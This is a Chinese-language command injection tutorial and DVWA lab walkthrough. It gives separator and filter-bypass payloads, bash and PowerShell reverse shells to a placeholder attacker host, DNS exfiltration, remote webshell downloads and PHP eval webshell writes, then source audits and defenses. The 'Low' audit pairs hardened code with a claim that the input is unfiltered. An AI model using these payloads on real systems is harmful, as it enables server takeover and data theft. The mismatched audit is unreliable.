注意:以下内容仅用于教育目的,帮助理解防御措施。未经授权的攻击行为违反法律,请务必在合法授权范围内进行测试。

image-20250421102141578

📖命令注入基础知识

🤔什么是命令注入?

命令注入(Command Injection)是一种通过向应用程序注入恶意命令来执行非授权系统指令的攻击技术。攻击者利用输入参数或数据传输中的漏洞,将系统命令拼接到正常操作中,导致服务器执行恶意指令。

🕵️漏洞原理

Web 应用程序通常会调用操作系统的命令来完成某些功能,如文件操作、数据处理等。如果应用程序没有对用户输入进行有效的过滤和验证,攻击者可以构造包含恶意命令的输入,当应用程序将这些输入拼接到系统命令中执行时,恶意命令就会在服务器端被执行。

示例代码(PHP):

$ip = $_GET['ip'];
system("ping " . $ip); // 用户输入直接拼接命令

🔸攻击者输入 127.0.0.1 | whoami,实际执行命令变为:

ping 127.0.0.1 | whoami # 分号分隔执行两条命令

🎯常见的命令连接符及其利用方式

在命令注入攻击中,攻击者通过特殊符号将恶意命令拼接到合法命令中执行。以下是不同操作系统(Linux/Unix 和 Windows)常见的命令连接符及其利用方式:

🛰️Linux/Unix 命令连接符

1️⃣顺序执行符

;(分号)
🔸作用:无论前一条命令是否成功,均执行后续命令。
示例:

ping 127.0.0.1; cat /etc/passwd  # 先执行 ping,再查看密码文件

2️⃣逻辑运算符

&&(逻辑与)

🔸作用:仅当前一条命令成功(退出码为0)时,执行后续命令。
示例:

ping 127.0.0.1 && whoami        # ping 成功后才执行 whoami

||(逻辑或)
🔸作用:仅当前一条命令失败(退出码非0)时,执行后续命令。
示例:

ping invalid-host || id          # ping 失败后执行 id

3️⃣管道符

|(管道)
🔸作用:将前一条命令的输出作为后一条命令的输入。
示例:

cat /etc/passwd | grep root     # 查找包含 "root" 的行

4️⃣子命令执行符

反引号 `$( )
🔸作用:执行子命令并将结果嵌入到主命令中。
示例:

echo "Time: $(date)"            # 输出当前时间
echo "User: `whoami`" # 输出当前用户

5️⃣换行符

\n(换行符)
🔸作用:在输入中插入换行符,实现多命令执行(常用于HTTP参数或输入字段)。
示例:

127.0.0.1%0Aid                  # URL编码的换行符(%0A)分隔命令

🚀Windows 命令连接符

1️⃣顺序执行符

&
🔸作用:无论前一条命令是否成功,均执行后续命令。
示例:

ping 127.0.0.1 & whoami        # 执行 ping 后执行 whoami

2️⃣逻辑运算符

&&
🔸作用:仅当前一条命令成功时,执行后续命令(与Linux相同)。
示例:

ping 127.0.0.1 && net user    # ping 成功后查看用户列表

||
🔸作用:仅当前一条命令失败时,执行后续命令(与Linux相同)。
示例:

ping invalid-host || ipconfig  # ping 失败后执行 ipconfig

3️⃣管道符

|
🔸作用:与Linux相同,传递前一条命令的输出。
示例:

type C:\file.txt | find "password"  # 查找文件中包含 "password" 的行

4️⃣命令分隔符

%0A(换行符的URL编码)
🔸作用:在HTTP参数中插入换行符,分隔多命令。
示例:

127.0.0.1%0Aecho hacked > C:\test.txt  # 写入文件

✈️绕过过滤的变体

🔸当常见符号(如;&)被过滤时,可尝试以下替代方案:

1️⃣编码绕过

URL编码:
;%3b&%26|%7c
示例:

127.0.0.1%3b%20id    # 解码后为 `127.0.0.1; id`

2️⃣空格替代符

Linux:

${IFS}(内部字段分隔符):cat${IFS}/etc/passwd

<>cat</etc/passwd

Windows:

%PROGRAMFILES% 等环境变量:ping%PROGRAMFILES%

3️⃣注释符干扰

#(Linux) 或 ::(Windows注释):

ping 127.0.0.1 # ; id    # Linux中注释后续字符
ping 127.0.0.1 :: & whoami # Windows中利用注释

⛴️实战利用场景

1️⃣盲注(无回显)

🔸时间延迟:

ping 127.0.0.1; sleep 5    # Linux中延迟5秒
ping 127.0.0.1 & timeout 5 # Windows中延迟5秒

🔸外带数据(OOB):

ping $(whoami).attacker.com  # 将结果通过DNS请求外传

2️⃣文件读写

🔸Linux:

; echo 'hacked' > /var/www/html/test.txt

🔸Windows:

& echo hacked > C:\inetpub\wwwroot\test.txt

3️⃣ 反弹 shell

#linux
用户输入:127.0.0.1; bash -c 'bash -i >& /dev/tcp/攻击者IP/端口 0>&1'
实际命令:ping 127.0.0.1; bash -c '...' # 建立反向Shell连接

#windows
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('攻击者IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

4️⃣写入一句话木马

🔸写入一句话木马要满足Web目录可写权限,系统命令执行权限这些条件

🔸直接写入木马文件

# Linux(利用重定向符号 >):
; echo '<?php @eval($_GET["pass"]);?>' > /var/www/html/shell.php

# Windows(利用cmd管道符):
& echo ^<?php @eval($_POST['pass']);?^> > C:\xampp\htdocs\shell.php
# 若特殊字符被拦截,使用PowerShell编码:
&& powershell -Command "Add-Content C:\xampp\htdocs\shell.php '<?php @eval($_REQUEST[''pass'']);?>'"

🔸通过下载远程木马

# 从远程服务器下载木马(需目标服务器出网):
; curl http://恶意IP/shell.php -o /var/www/html/shell.php # Linux
; certutil -urlcache -split -f http://恶意IP/shell.php C:\htdocs\shell.php # Windows

🔸编码绕过过滤写入

# Base64编码写入:
; echo PD9waHAgQGV2YWwoJF9HRVRbInBhc3MiXSk7Pz4= | base64 -d > shell.php

# Hex编码写入(Linux):
; echo -e '\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x22\x70\x61\x73\x73\x22\x5d\x29\x3b\x3f\x3e' > shell.php

总结:命令连接符是命令注入攻击的核心工具,攻击者通过它们将恶意代码注入合法流程。防御需从输入过滤、安全编码、权限控制三方面入手。

👮常见注入点

  • 表单输入:如在搜索框、登录框、评论框等表单字段中输入恶意命令。
  • URL 参数:通过修改 URL 中的参数值注入恶意命令。例如,某些网站通过 URL 参数指定要显示的文件名称,攻击者可以利用该参数注入命令。
  • Cookie:如果应用程序在处理 Cookie 时存在漏洞,攻击者可以在 Cookie 中注入恶意命令。

🛡️防御建议

  1. 输入白名单过滤:仅允许必要字符(如IP地址仅允许数字和.)。
  2. 参数化执行命令:避免拼接用户输入到命令中。
  3. 转义特殊符号:使用安全函数(如Python的shlex.quote()或PHP的escapeshellarg())。
  4. 最小权限运行:应用程序账户不应有系统高危权限。

🚤Low 等级

🔸DVWA Security设置等级为 Low

🔸页面有一个输入框,根据提示让我们输入IP地址,对 IP 进行ping 测试

🔸输入 IP 地址127.0.0.1提交页面返回 ping 测试的数据

🔸返回测试数据和在 cmd 命令行数据一样这里的代码可能是直接调用执行系统命令的函数(如 shell_exec、system、exec、passthru)

🔸判断一下服务器类型是 windows``linux,判断服务器类型是因为windows``linux命令有差别不相同,可以使用 nmap 工具判断或者通过 ping 的 TLL 值判断

🔸TTL(生存时间)是IP数据包的存活跳数限制,不同操作系统的默认初始TTL值可能不同

常见系统的默认初始TTL值

系统类型 默认初始TTL 常见接收TTL范围(示例)
Windows 128 110-128(距离较近)
Linux/Android 64 50-64
UNIX(如Solaris) 255 240-255

🔸根据 ping 判断这是windows 的类型,使用 windows 命令

🔸使用命令连接符来进行执行命令注入

127.0.0.1 | whoami #查看当前用户身份

🔸返回内容可以知道当前身份是 amdinistrarot权限

127.0.0.1 & whoami #ping的同时并且查看当前用户身份

🔸通过命令注入成功查看到了服务器的的用户,这是 windows 服务器便读取一下 windows 配置文件win.ini

🔸win.ini 文件路径:C:\Windows\win.ini

127.0.0.1 & type C:\Windows\win.ini

🔸成功读取和 cmd 下读取内容一样


命令注入漏洞利用

如果在渗透测试工作过程通中发现这个命令注入漏洞可以通过反弹 shell或者写入一句话木马通过蚁剑连接来接管服务器。

🔸写入一句话木马

127.0.0.1 | dir  #查看当前目录

🔸查看目录vulnerabilities 全部是文件夹

127.0.0.1 | dir D:\phpstudy_pro\WWW\DVWA\vulnerabilities\ #查看目录vulnerabilities

🔸查看目录 DVWA 有一个 index.php写入一句话木马或者直接在 DVWA 目录下创建一个 shell.php 再写入

127.0.0.1 | dir D:\phpstudy_pro\WWW\DVWA\  #查看目录DVWA

🔸构造命令写入一句话木马

127.0.0.1 & echo ^<?php @eval($_REQUEST['pass']);?^> > D:\phpstudy_pro\WWW\DVWA\index.php

🔸一句话木马地址:http://127.0.0.1/DVWA/index.php 使用蚁剑连接

注:命令执行写入一句话密码需要满足, 确保有写入代码权限 ,确保写入的文件具有可访问的路径和正确的权限

⚠️所有渗透测试都需获取授权

⚠️合法授权:渗透测试需获得目标系统的书面授权


代码审计

🔸查看源码

<?php
// 1. 检查用户是否点击了提交按钮(Submit)
// isset() 是PHP内置函数,用于检测变量是否存在且不为null
// $_POST 是PHP超全局数组,存储通过POST方法提交的表单数据
if( isset( $_POST[ 'Submit' ] ) ) {

// 2. 获取用户输入的IP地址
// $_POST['ip'] 表示从表单中名为"ip"的输入框获取数据
// 这里明确使用POST而非REQUEST,提高安全性
$target = $_POST[ 'ip' ];

// 3. 双重验证用户输入
// 3.1 先用filter_var验证是否是合法IP格式(IPv4/IPv6)
// FILTER_VALIDATE_IP 是PHP内置的IP验证过滤器
$is_valid_ip = filter_var($target, FILTER_VALIDATE_IP);

// 3.2 如果不是IP,再验证是否是合法主机名格式(例如google.com)
// 正则表达式解释:
// ^ 表示开始,$ 表示结束
// [a-zA-Z0-9\-\.] 允许字母、数字、连字符(-)、点(.)
// + 表示至少出现一次
$is_valid_hostname = preg_match('/^[a-zA-Z0-9\-\.]+$/', $target);

// 3.3 如果两种验证都失败,终止程序并报错
// die() 会立即停止PHP脚本执行,输出括号内内容
if (!$is_valid_ip && !$is_valid_hostname) {
die("Invalid IP address or hostname!");
}

// 4. 根据操作系统构造不同的ping命令
// php_uname('s') 返回操作系统类型(例如"Windows NT"或"Linux")
// stristr() 在字符串中查找子串(不区分大小写)
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows系统:
// - 不需要-c参数,默认ping 4次
// - 使用escapeshellarg()对输入进行安全转义
// escapeshellarg()会给参数加引号,并转义特殊字符
$cmd = 'ping ' . escapeshellarg($target);
} else {
// Linux/Unix系统:
// - -c 4 表示ping 4次后停止
// 同样使用escapeshellarg()转义
$cmd = 'ping -c 4 ' . escapeshellarg($target);
}

// 5. 执行命令并获取结果
// shell_exec() 执行系统命令并返回输出的字符串
// 注意:即使有escapeshellarg,也要避免执行用户可控命令
$output = shell_exec($cmd);

// 6. 安全输出结果到网页
// htmlspecialchars() 将特殊字符转换为HTML实体,防止XSS攻击
// 参数解释:
// ENT_QUOTES - 转义单引号和双引号
// 'UTF-8' - 指定字符编码
// false - 不编码已存在的HTML实体
echo '<pre>' . htmlspecialchars($output, ENT_QUOTES, 'UTF-8', false) . '</pre>';
}
?>

代码核心逻辑

🔸接收用户提交的 ip 参数($_POST[‘ip’])

🔸通过 php_uname(‘s’) 判断操作系统类型(Windows/*nix)

🔸拼接用户输入的 ip 到 ping 命令中执行(shell_exec)

🔸输出命令执行结果(echo “

{$cmd}
“)

漏洞点

🔸直接拼接用户输入的 $target 到 shell_exec 中,未进行任何过滤或转义

🛳️Medium 等级

🔸在 DVWA Security设置等级为 Mrdium

image-20250413220158931

🔸页面有一个输入框,根据提示还是让我们输入IP地址,对 IP 进行ping 测试

🔸输入 IP 地址127.0.0.1提交页面返回 ping 测试的数据

🔸使用命令连接符来进行执行命令注入

127.0.0.1 ;  whoami

🔸返回提示错误参数,应该是被过滤了

🔸使用其它&&``| ``&命令连接符来进行执行命令注入进行绕过

🔸127.0.0.1 && whoami

🔸127.0.0.1 | whoami

🔸127.0.0.1 & ipconfig

🔸命令连接符|``&都执行了,&&``;命令连接符被过滤了

代码审计

<?php
// 检查用户是否点击了提交按钮(Submit)
// isset()函数用于检测变量是否存在且不为null
// $_POST['Submit']表示获取表单中名为Submit的按钮是否被点击
if( isset( $_POST[ 'Submit' ] ) ) {

// 漏洞1:使用$_REQUEST获取用户输入(包含GET/POST/COOKIE)
// $_REQUEST不够安全,建议明确使用$_POST或$_GET
$target = $_REQUEST[ 'ip' ]; // 获取用户输入的IP地址

// 设置黑名单过滤规则
//漏洞2:黑名单过滤机制(极易绕过)
$substitutions = array(
'&&' => '', // 过滤双与符号(例如攻击输入:ping 127.0.0.1 && rm -rf /)
';' => '', // 过滤分号(例如攻击输入:ping 127.0.0.1; ls -la)
);

// 漏洞3:未转义直接拼接命令
// str_replace()将黑名单中的字符替换为空字符串
// 例如输入"127.0.0.1;&&"会被处理成"127.0.0.1"
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// 根据操作系统类型执行不同的ping命令
// php_uname('s')获取操作系统信息,例如"Windows NT"或"Linux"
if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // 检查是否是Windows系统
// Windows系统执行命令(存在漏洞3:未转义参数)
// 漏洞3示例:输入"127.0.0.1 & taskkill /F /IM chrome.exe"会关闭Chrome进程
$cmd = shell_exec( 'ping ' . $target ); // 注意这里有两个空格,可能导致异常
}
else {
// Linux/Unix系统执行命令(同样存在漏洞3)
// 漏洞3示例:输入"8.8.8.8 | cat /etc/passwd"会读取系统密码文件
$cmd = shell_exec( 'ping -c 4 ' . $target ); // -c 4表示发送4个数据包
}

// 漏洞4:直接输出命令结果(存在XSS攻击风险)
// 示例:如果ping返回结果包含<script>alert(1)</script>会执行JS代码
echo "<pre>{$cmd}</pre>"; // <pre>标签用于保留命令输出的格式
}
?>

⛴️High 等级

🔸在 DVWA Security设置等级为 High

image.png

🔸使用命令连接符来进行执行命令注入

127.0.0.1 &  ipconfig
127.0.0.1 ; ipconfig
127.0.0.1 | ipconfig
127.0.0.1 && ipconfig
127.0.0.1 ^ ipconfig

image-20250421101126370

🔸以上 命令连接符来都被过滤了,空格可能也被过滤,管道符不需要空格尝试一下

127.0.0.1|ipconfig

🔸命令执行成功,可以判断这里使用了使用黑名单| ``&``;``&&等等命令连接符

🔸在面对过滤了大部分命令连接符的情况下可以构造一下命令连接符字典直接爆破

代码审计

<?php
// 检查用户是否点击了提交按钮(Submit是表单中按钮的name属性)
if( isset( $_POST[ 'Submit' ] ) ) {
// 获取用户输入的IP地址,并去除首尾空格
// ⚠️ trim()不能防御攻击,仅用于基本格式处理
$target = trim($_REQUEST[ 'ip' ]);

// 设置字符黑名单替换规则(键为要查找的字符,值为替换内容)
//漏洞1:过滤不严格过滤管道符时后面接了一个空格(不严谨)
// ⚠️ 黑名单机制容易被绕过!例如:
// 1. 未过滤反引号 ` 和 $() 等执行方式
// 2. 管道符|后的空格过滤(|无空格仍可注入)
// 3. Windows中可用^转义符绕过
$substitutions = array(
'||' => '', // 双或运算符
'&' => '', // 单与符(后台执行)
';' => '', // 命令分隔符
'| ' => '', // 带空格的管道符(不严谨)
'-' => '', // 某些参数注入符号
'$' => '', // 变量符号
'(' => '', // 子命令符号
')' => '', // 子命令符号
'`' => '', // 反引号执行
);

// 执行字符替换操作
// ⚠️ str_replace有替换顺序问题,且无法防御组合攻击
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// 检测服务器操作系统类型
// php_uname('s')返回系统名称,stristr检查是否包含'Windows NT'
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows系统执行命令
$cmd = shell_exec( 'ping ' . $target ); // 注意ping后有两个空格
}
else {
$cmd = shell_exec( 'ping -c 4 ' . $target ); // -c表示发送4个包
}

// 输出命令执行结果
// ⚠️ 未对输出内容做HTML转义,可能导致XSS攻击
// 例如用户输入恶意JavaScript代码可能被执行
echo "<pre>{$cmd}</pre>";
}

?>